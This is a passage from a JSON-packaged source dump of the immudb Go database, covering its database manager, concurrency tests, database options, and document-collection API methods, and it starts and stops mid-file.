{\n\t\treturn false\n\t}\n\n\tdb.mtx.Lock()\n\tdefer db.mtx.Unlock()\n\n\treturn !db.closed\n}\n\nfunc (m *DBManager) Close(idx int) error {\n\tdb, exists := m.getDB(idx)\n\tif !exists {\n\t\treturn nil\n\t}\n\n\tif err := db.close(); err != nil {\n\t\treturn err\n\t}\n\tdefer m.waitCond.Broadcast()\n\n\tv, err := m.dbCache.Pop(idx)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\tref, _ := v.(*dbRef)\n\tif ref != nil && ref.db != nil {\n\t\tref.db.Close()\n\t\tref.db = nil\n\t}\n\treturn nil\n}\n\nfunc (m *DBManager) IsClosed(idx int) bool {\n\tdb, exists := m.getDB(idx)\n\tif !exists {\n\t\treturn true\n\t}\n\n\tdb.mtx.Lock()\n\tdefer db.mtx.Unlock()\n\n\treturn db.closed\n}\n\nfunc (m *DBManager) getDB(idx int) (*dbInfo, bool) {\n\tm.dbMutex.RLock()\n\tdefer m.dbMutex.RUnlock()\n\n\tif idx < 0 || idx >= len(m.databases) {\n\t\treturn nil, false\n\t}\n\treturn m.databases[idx], true\n}\n\nfunc (m *DBManager) Resize(n int) {\n\tm.dbCache.Resize(n)\n}\n\nfunc (m *DBManager) CloseAll(ctx context.Context) error {\n\tm.mtx.Lock()\n\tm.closed = true\n\tm.mtx.Unlock()\n\n\tm.waitCond.Broadcast()\n\n\ttryClose := true\n\tfor tryClose {\n\t\tif err := ctx.Err(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tbusyDBs := 0\n\t\tm.dbCache.Apply(func(_, value interface{}) error {\n\t\t\tref := value.(*dbRef)\n\n\t\t\tif atomic.LoadUint32(&ref.count) > 0 {\n\t\t\t\tbusyDBs++\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tref.db.Close()\n\t\t\treturn nil\n\t\t})\n\t\ttryClose = busyDBs > 0\n\n\t\ttime.Sleep(time.Millisecond * 10)\n\t}\n\tm.dbCache.Resize(0)\n\treturn nil\n}\n\nfunc (m *DBManager) IsActive(idx int) bool {\n\t_, err := m.dbCache.Get(idx)\n\treturn err == nil\n}\n"
  },
  {
    "path": "pkg/database/db_manager_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\ntype mockDB struct {\n\tDB\n\n\tname string\n}\n\nfunc (db *mockDB) GetName() string {\n\treturn db.name\n}\n\nfunc (db *mockDB) Close() error {\n\treturn nil\n}\n\nfunc (db *mockDB) GetOptions() *Options {\n\treturn &Options{}\n}\n\nfunc (db *mockDB) CurrentState() (*schema.ImmutableState, error) {\n\treturn &schema.ImmutableState{}, nil\n}\n\nfunc openMockDB(name string, opts *Options) (DB, error) {\n\treturn &mockDB{name: name}, nil\n}\n\nfunc TestDBManagerConcurrentGet(t *testing.T) {\n\tmanager := NewDBManager(openMockDB, 5, logger.NewMemoryLogger())\n\n\tn := 100\n\tfor i := 0; i < n; i++ {\n\t\tmanager.Put(fmt.Sprintf(\"db%d\", i), DefaultOptions(), false)\n\t}\n\n\tvar wg sync.WaitGroup\n\twg.Add(n)\n\n\tfor idx := 0; idx < n; idx++ {\n\t\tgo func(idx int) {\n\t\t\tdefer wg.Done()\n\n\t\t\tdb, err := manager.Get(idx)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, db)\n\t\t\tdefer manager.Release(idx)\n\n\t\t\trequire.LessOrEqual(t, manager.dbCache.EntriesCount(), 5)\n\n\t\t\tsleepTime := time.Duration(10+rand.Intn(41)) * time.Millisecond\n\t\t\ttime.Sleep(sleepTime)\n\t\t}(idx)\n\t}\n\twg.Wait()\n}\n\nfunc TestDBManagerOpen(t *testing.T) {\n\tvar nCalls uint64\n\n\topenDB := func(name string, opts *Options) (DB, error) {\n\t\tatomic.AddUint64(&nCalls, 1)\n\t\treturn openMockDB(name, opts)\n\t}\n\n\tmanager := NewDBManager(openDB, 1, logger.NewMemoryLogger())\n\tmanager.Put(\"testdb\", DefaultOptions(), false)\n\n\tn := 1000\n\n\tvar wg sync.WaitGroup\n\twg.Add(n)\n\tfor i := 0; i < n; i++ {\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\n\t\t\t_, err := manager.Get(0)\n\t\t\trequire.NoError(t, err)\n\t\t}()\n\t}\n\twg.Wait()\n\n\trequire.Equal(t, nCalls, uint64(1))\n\tv, err := manager.dbCache.Get(0)\n\trequire.NoError(t, err)\n\n\tref, _ := v.(*dbRef)\n\trequire.NotNil(t, ref)\n\trequire.NotNil(t, ref.db)\n\trequire.Equal(t, ref.count, uint32(n))\n\n\tfor i := 0; i < n; i++ {\n\t\tmanager.Release(0)\n\t}\n\trequire.Zero(t, ref.count)\n}\n\nfunc TestDBManagerClose(t *testing.T) {\n\tmaxActiveDBs := 10\n\tmanager := NewDBManager(openMockDB, maxActiveDBs, logger.NewMemoryLogger())\n\n\tmanager.Put(\"test\", DefaultOptions(), false)\n\n\tn := 100\n\tfor i := 0; i < n; i++ {\n\t\t_, err := manager.Get(0)\n\t\trequire.NoError(t, err)\n\t}\n\n\terr := manager.Close(0)\n\trequire.NoError(t, err)\n\n\terr = manager.Close(0)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\tfor i := 0; i < n; i++ {\n\t\tmanager.Release(0)\n\t}\n\n\t_, err = manager.Get(0)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n}\n\nfunc TestDBManagerCloseDuringGet(t *testing.T) {\n\tmaxActiveDBs := 10\n\tmanager := NewDBManager(openMockDB, maxActiveDBs, logger.NewMemoryLogger())\n\n\tfor i := 0; i <= maxActiveDBs; i++ {\n\t\tmanager.Put(fmt.Sprintf(\"test%d\", i), DefaultOptions(), false)\n\t}\n\n\tfor i := 0; i < maxActiveDBs; i++ {\n\t\t_, err := manager.Get(i)\n\t\trequire.NoError(t, err)\n\t}\n\n\tn := 100\n\n\tvar wg sync.WaitGroup\n\twg.Add(n)\n\n\tfor i := 0; i < n; i++ {\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\n\t\t\t_, err := manager.Get(maxActiveDBs)\n\t\t\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\t\t}()\n\t}\n\n\t// wait for all goroutines to attempt Get(maxActiveDBs)\n\ttime.Sleep(time.Millisecond * 100)\n\n\terr := manager.Close(maxActiveDBs)\n\trequire.NoError(t, err)\n\n\twg.Wait()\n}\n\nfunc TestDBManagerDelete(t *testing.T) {\n\tmanager := NewDBManager(openMockDB, 1, logger.NewMemoryLogger())\n\n\tmanager.Put(\"test\", DefaultOptions(), false)\n\n\terr := manager.Delete(\"test\")\n\trequire.ErrorIs(t, err, ErrCannotDeleteAnOpenDatabase)\n\n\terr = manager.Close(0)\n\trequire.NoError(t, err)\n\n\terr = manager.Delete(\"test\")\n\trequire.NoError(t, err)\n}\n\nfunc TestDBManagerCloseAll(t *testing.T) {\n\tmaxActiveDBs := 10\n\tmanager := NewDBManager(openMockDB, maxActiveDBs, logger.NewMemoryLogger())\n\n\tn := 100\n\tfor i := 0; i < n; i++ {\n\t\tmanager.Put(fmt.Sprintf(\"test%d\", i), DefaultOptions(), false)\n\t}\n\n\tvar wg sync.WaitGroup\n\twg.Add(maxActiveDBs)\n\tfor i := 0; i < maxActiveDBs; i++ {\n\t\tgo func(idx int) {\n\t\t\tdefer wg.Done()\n\n\t\t\t_, err := manager.Get(idx)\n\t\t\trequire.NoError(t, err)\n\t\t}(i)\n\t}\n\twg.Wait()\n\n\tvar wg1 sync.WaitGroup\n\twg1.Add(n - maxActiveDBs)\n\tfor i := maxActiveDBs; i < n; i++ {\n\t\tgo func(idx int) {\n\t\t\tdefer wg1.Done()\n\n\t\t\t_, err := manager.Get(idx)\n\t\t\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\t\t}(i)\n\t}\n\n\tt.Run(\"close deadline exceeded\", func(t *testing.T) {\n\t\tctx, cancel := context.WithTimeout(context.Background(), time.Second)\n\t\tdefer cancel()\n\n\t\terr := manager.CloseAll(ctx)\n\t\trequire.ErrorIs(t, err, context.DeadlineExceeded)\n\n\t\t// Goroutines waiting to acquire a database\n\t\t// should be awakened by CloseAll()\n\t\twg1.Wait()\n\t})\n\n\tfor i := 0; i < n; i++ {\n\t\tmanager.Release(i)\n\t}\n\n\tt.Run(\"close succeeds\", func(t *testing.T) {\n\t\terr := manager.CloseAll(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < n; i++ {\n\t\t\t_, err := manager.Get(i)\n\t\t\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\t\t}\n\t})\n}\n\nfunc TestLazyDB(t *testing.T) {\n\tdir := t.TempDir()\n\n\terr := os.MkdirAll(filepath.Join(dir, \"testdb\"), os.ModePerm)\n\trequire.NoError(t, err)\n\n\terr = os.MkdirAll(filepath.Join(dir, \"testdb1\"), os.ModePerm)\n\trequire.NoError(t, err)\n\n\tlogger := logger.NewMemoryLogger()\n\n\tm := NewDBManager(func(name string, opts *Options) (DB, error) {\n\t\treturn OpenDB(name, nil, opts, logger)\n\t}, 1, logger)\n\n\tdbList := NewDatabaseList(m)\n\t_, err = dbList.GetByIndex(0)\n\trequire.ErrorIs(t, err, ErrDatabaseNotExists)\n\n\tdb := dbList.Put(\"testdb\", DefaultOptions().WithDBRootPath(dir))\n\tdb1 := dbList.Put(\"testdb1\", DefaultOptions().WithDBRootPath(dir))\n\tclosedDB := dbList.PutClosed(\"closeddb\", DefaultOptions().WithDBRootPath(dir))\n\n\trequire.True(t, m.Has(\"testdb\"))\n\trequire.True(t, m.Has(\"testdb1\"))\n\trequire.False(t, db.IsClosed())\n\trequire.False(t, db1.IsClosed())\n\trequire.True(t, closedDB.IsClosed())\n\n\tt.Run(\"isActive\", func(t *testing.T) {\n\t\trequire.False(t, m.IsActive(0))\n\t\trequire.False(t, db.IsReplica())\n\t\trequire.True(t, m.IsActive(0))\n\t\trequire.False(t, db1.IsReplica())\n\t\trequire.False(t, m.IsActive(0))\n\t\trequire.True(t, m.IsActive(1))\n\t})\n\n\tt.Run(\"isReplica\", func(t *testing.T) {\n\t\trequire.False(t, db.IsReplica())\n\t\tdb.AsReplica(true, false, 0)\n\t\trequire.True(t, db.IsReplica())\n\n\t\trequire.False(t, db1.IsReplica()) // force db1 loading\n\t\trequire.True(t, db.IsReplica())\n\t})\n\n\tt.Run(\"SetSyncReplication\", func(t *testing.T) {\n\t\tdb.SetSyncReplication(true)\n\t\trequire.True(t, db.IsSyncReplicationEnabled())\n\t\trequire.False(t, db1.IsReplica()) // force db1 loading\n\t\trequire.True(t, db.IsSyncReplicationEnabled())\n\t})\n\n\tt.Run(\"CurrentState\", func(t *testing.T) {\n\t\tstate, err := db1.CurrentState()\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, state, err)\n\n\t\ts, err := db1.Size()\n\t\trequire.NoError(t, err)\n\t\trequire.NotZero(t, s)\n\n\t\t_, err = db1.Set(context.Background(), &schema.SetRequest{\n\t\t\tKVs: []*schema.KeyValue{\n\t\t\t\t{\n\t\t\t\t\tKey: []byte(\"k1\"), Value: []byte(\"v1\"),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\terr = db1.WaitForTx(context.Background(), 1, true)\n\t\trequire.NoError(t, err)\n\n\t\terr = db1.WaitForIndexingUpto(context.Background(), 1)\n\t\trequire.NoError(t, err)\n\n\t\ts1, err := db1.Size()\n\t\trequire.NoError(t, err)\n\t\trequire.Greater(t, s1, s)\n\n\t\tstate1, err := db1.CurrentState()\n\t\trequire.NoError(t, err)\n\t\trequire.NotEqual(t, state, state1)\n\t\trequire.True(t, db.IsReplica()) // force db loading\n\n\t\t// calling CurrentState() again should not force db reloading\n\t\tstate2, err := db1.CurrentState()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, state1, state2)\n\t\trequire.False(t, m.IsActive(1))\n\t})\n\n\tt.Run(\"copy catalog\", func(t *testing.T) {\n\t\t_, err := db1.CopySQLCatalog(context.Background(), 1)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"truncate\", func(t *testing.T) {\n\t\terr := db1.TruncateUptoTx(context.Background(), 1)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"sql\", func(t *testing.T) {\n\t\tparams, err := db.InferParameters(context.Background(), nil, \"SELECT * FROM table1\")\n\t\trequire.ErrorIs(t, err, sql.ErrTableDoesNotExist)\n\t\trequire.Nil(t, params)\n\n\t\t_, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: \"SELECT * FROM table1\"})\n\t\trequire.ErrorIs(t, err, sql.ErrTableDoesNotExist)\n\t})\n\n\tt.Run(\"IsLoaded\", func(t *testing.T) {\n\t\trequire.True(t, m.IsLoaded(0))\n\t\terr = m.Close(0)\n\t\trequire.NoError(t, err)\n\t\trequire.False(t, m.IsLoaded(0))\n\t})\n}\n"
  },
  {
    "path": "pkg/database/dboptions.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\nconst (\n\tDefaultDbRootPath          = \"./data\"\n\tDefaultReadTxPoolSize      = 128\n\tDefaultTruncationFrequency = 24 * time.Hour\n)\n\n// Options database instance options\ntype Options struct {\n\tdbRootPath string\n\n\tstoreOpts *store.Options\n\n\treplica         bool\n\tsyncReplication bool\n\tsyncAcks        int // only if !replica\n\n\treadTxPoolSize int\n\tmaxResultSize  int\n\n\t// TruncationFrequency determines how frequently to truncate data from the database.\n\tTruncationFrequency time.Duration\n\n\t// RetentionPeriod determines how long to store data in the database.\n\tRetentionPeriod time.Duration\n}\n\n// DefaultOptions Initialise Db Optionts to default values\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\tdbRootPath:          DefaultDbRootPath,\n\t\tstoreOpts:           store.DefaultOptions(),\n\t\tmaxResultSize:       MaxKeyScanLimit,\n\t\treadTxPoolSize:      DefaultReadTxPoolSize,\n\t\tTruncationFrequency: DefaultTruncationFrequency,\n\t}\n}\n\n// WithDbRootPath sets the directory in which this database will reside\nfunc (o *Options) WithDBRootPath(Path string) *Options {\n\to.dbRootPath = Path\n\treturn o\n}\n\n// GetDbRootPath returns the directory in which this database resides\nfunc (o *Options) GetDBRootPath() string {\n\treturn o.dbRootPath\n}\n\n// WithStoreOptions sets backing store options\nfunc (o *Options) WithStoreOptions(storeOpts *store.Options) *Options {\n\to.storeOpts = storeOpts\n\treturn o\n}\n\n// GetStoreOptions returns backing store options\nfunc (o *Options) GetStoreOptions() *store.Options {\n\treturn o.storeOpts\n}\n\n// AsReplica sets if the database is a replica\nfunc (o *Options) AsReplica(replica bool) *Options {\n\to.replica = replica\n\treturn o\n}\n\nfunc (o *Options) WithSyncReplication(syncReplication bool) *Options {\n\to.syncReplication = syncReplication\n\treturn o\n}\n\nfunc (o *Options) WithSyncAcks(syncAcks int) *Options {\n\to.syncAcks = syncAcks\n\treturn o\n}\n\nfunc (o *Options) WithReadTxPoolSize(txPoolSize int) *Options {\n\to.readTxPoolSize = txPoolSize\n\treturn o\n}\n\nfunc (o *Options) GetTxPoolSize() int {\n\treturn o.readTxPoolSize\n}\n\nfunc (o *Options) WithTruncationFrequency(c time.Duration) *Options {\n\to.TruncationFrequency = c\n\treturn o\n}\n\nfunc (o *Options) WithRetentionPeriod(c time.Duration) *Options {\n\to.RetentionPeriod = c\n\treturn o\n}\n\nfunc (o *Options) WithMaxResultSize(maxResultSize int) *Options {\n\to.maxResultSize = maxResultSize\n\treturn o\n}\n"
  },
  {
    "path": "pkg/database/dboptions_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDefaultOptions(t *testing.T) {\n\top := DefaultOptions().AsReplica(true)\n\n\trequire.Equal(t, op.GetDBRootPath(), DefaultOptions().dbRootPath)\n\trequire.Equal(t, op.GetTxPoolSize(), DefaultOptions().readTxPoolSize)\n\trequire.False(t, op.syncReplication)\n\n\trootpath := \"rootpath\"\n\tstoreOpts := store.DefaultOptions()\n\n\top = DefaultOptions().\n\t\tWithDBRootPath(rootpath).\n\t\tWithStoreOptions(storeOpts).\n\t\tWithReadTxPoolSize(789).\n\t\tWithSyncReplication(true).\n\t\tWithTruncationFrequency(1 * time.Hour)\n\n\trequire.Equal(t, op.GetDBRootPath(), rootpath)\n\trequire.Equal(t, op.GetTxPoolSize(), 789)\n\trequire.True(t, op.syncReplication)\n\trequire.Equal(t, op.TruncationFrequency, 1*time.Hour)\n\n\trequire.Equal(t, storeOpts, op.storeOpts)\n}\n"
  },
  {
    "path": "pkg/database/document_database.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage database\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/document\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\n// DocumentDatabase is the interface for document database\ntype DocumentDatabase interface {\n\t// GetCollection returns the collection schema\n\tGetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error)\n\t// GetCollections returns the list of collection schemas\n\tGetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error)\n\t// CreateCollection creates a new collection\n\tCreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error)\n\t// UpdateCollection updates an existing collection\n\tUpdateCollection(ctx context.Context, username string, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error)\n\t// DeleteCollection deletes a collection\n\tDeleteCollection(ctx context.Context, username string, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error)\n\t// AddField adds a new field in a collection\n\tAddField(ctx context.Context, username string, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error)\n\t// RemoveField removes a field from a collection\n\tRemoveField(ctx context.Context, username string, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error)\n\t// CreateIndex creates an index for a collection\n\tCreateIndex(ctx context.Context, username string, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error)\n\t// DeleteIndex deletes an index from a collection\n\tDeleteIndex(ctx context.Context, username string, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error)\n\t// InsertDocuments creates new documents\n\tInsertDocuments(ctx context.Context, username string, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error)\n\t// ReplaceDocuments replaces documents matching the query\n\tReplaceDocuments(ctx context.Context, username string, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error)\n\t// AuditDocument returns the document audit history\n\tAuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error)\n\t// SearchDocuments returns the documents matching the query\n\tSearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error)\n\t// CountDocuments returns the number of documents matching the query\n\tCountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error)\n\t// DeleteDocuments deletes documents maching the query\n\tDeleteDocuments(ctx context.Context, username string, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error)\n\t// ProofDocument returns the proofs for a document\n\tProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error)\n}\n\n// CreateCollection creates a new collection\nfunc (d *db) CreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\terr := d.documentEngine.CreateCollection(ctx, username, req.Name, req.DocumentIdFieldName, req.Fields, req.Indexes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.CreateCollectionResponse{}, nil\n}\n\n// GetCollection returns the collection schema\nfunc (d *db) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tcinfo, err := d.documentEngine.GetCollection(ctx, req.Name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.GetCollectionResponse{Collection: cinfo}, nil\n}\n\nfunc (d *db) GetCollections(ctx context.Context, _ *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) {\n\tcollections, err := d.documentEngine.GetCollections(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.GetCollectionsResponse{Collections: collections}, nil\n}\n\n// UpdateCollection updates an existing collection\nfunc (d *db) UpdateCollection(ctx context.Context, username string, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\terr := d.documentEngine.UpdateCollection(ctx, username, req.Name, req.DocumentIdFieldName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.UpdateCollectionResponse{}, nil\n}\n\n// DeleteCollection deletes a collection\nfunc (d *db) DeleteCollection(ctx context.Context, username string, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\terr := d.documentEngine.DeleteCollection(ctx, username, req.Name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.DeleteCollectionResponse{}, nil\n}\n\n// AddField adds a new field in a collection\nfunc (d *db) AddField(ctx context.Context, username string, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\terr := d.documentEngine.AddField(ctx, username, req.CollectionName, req.Field)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.AddFieldResponse{}, nil\n}\n\n// RemoveField removes a field from a collection\nfunc (d *db) RemoveField(ctx context.Context, username string, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\terr := d.documentEngine.RemoveField(ctx, username, req.CollectionName, req.FieldName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.RemoveFieldResponse{}, nil\n}\n\n// CreateIndex creates an index for a collection\nfunc (d *db) CreateIndex(ctx context.Context, username string, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\terr := d.documentEngine.CreateIndex(ctx, username, req.CollectionName, req.Fields, req.IsUnique)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.CreateIndexResponse{}, nil\n}\n\n// DeleteIndex deletes an index from a collection\nfunc (d *db) DeleteIndex(ctx context.Context, username string, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\terr := d.documentEngine.DeleteIndex(ctx, username, req.CollectionName, req.Fields)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.DeleteIndexResponse{}, nil\n}\n\n// InsertDocuments inserts multiple documents\nfunc (d *db) InsertDocuments(ctx context.Context, username string, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\ttxID, docIDs, err := d.documentEngine.InsertDocuments(ctx, username, req.CollectionName, req.Documents)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdocIDsStr := make([]string, 0, len(docIDs))\n\tfor _, docID := range docIDs {\n\t\tdocIDsStr = append(docIDsStr, docID.EncodeToHexString())\n\t}\n\n\treturn &protomodel.InsertDocumentsResponse{\n\t\tTransactionId: txID,\n\t\tDocumentIds:   docIDsStr,\n\t}, nil\n}\n\n// ReplaceDocuments replaces documents matching the query\nfunc (d *db) ReplaceDocuments(ctx context.Context, username string, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\trevisions, err := d.documentEngine.ReplaceDocuments(ctx, username, req.Query, req.Document)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.ReplaceDocumentsResponse{\n\t\tRevisions: revisions,\n\t}, nil\n}\n\nfunc (d *db) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif req.Page < 1 || req.PageSize < 1 {\n\t\treturn nil, fmt.Errorf(\"%w: invalid page or page size\", ErrIllegalArguments)\n\t}\n\n\toffset := uint64((req.Page - 1) * req.PageSize)\n\tlimit := int(req.PageSize)\n\n\tif limit > d.maxResultSize {\n\t\treturn nil, fmt.Errorf(\"%w: the specified page size (%d) is larger than the maximum allowed one (%d)\",\n\t\t\tErrIllegalArguments, limit, d.maxResultSize)\n\t}\n\n\t// verify if document id is valid\n\tdocID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: invalid document id\", err)\n\t}\n\n\trevisions, err := d.documentEngine.AuditDocument(ctx, req.CollectionName, docID, req.Desc, offset, limit, !req.OmitPayload)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: error fetching document history\", err)\n\t}\n\n\treturn &protomodel.AuditDocumentResponse{\n\t\tRevisions: revisions,\n\t}, nil\n}\n\n// SearchDocuments returns the documents matching the search request constraints\nfunc (d *db) SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) {\n\treturn d.documentEngine.GetDocuments(ctx, query, offset)\n}\n\n// CountDocuments returns the number of documents matching 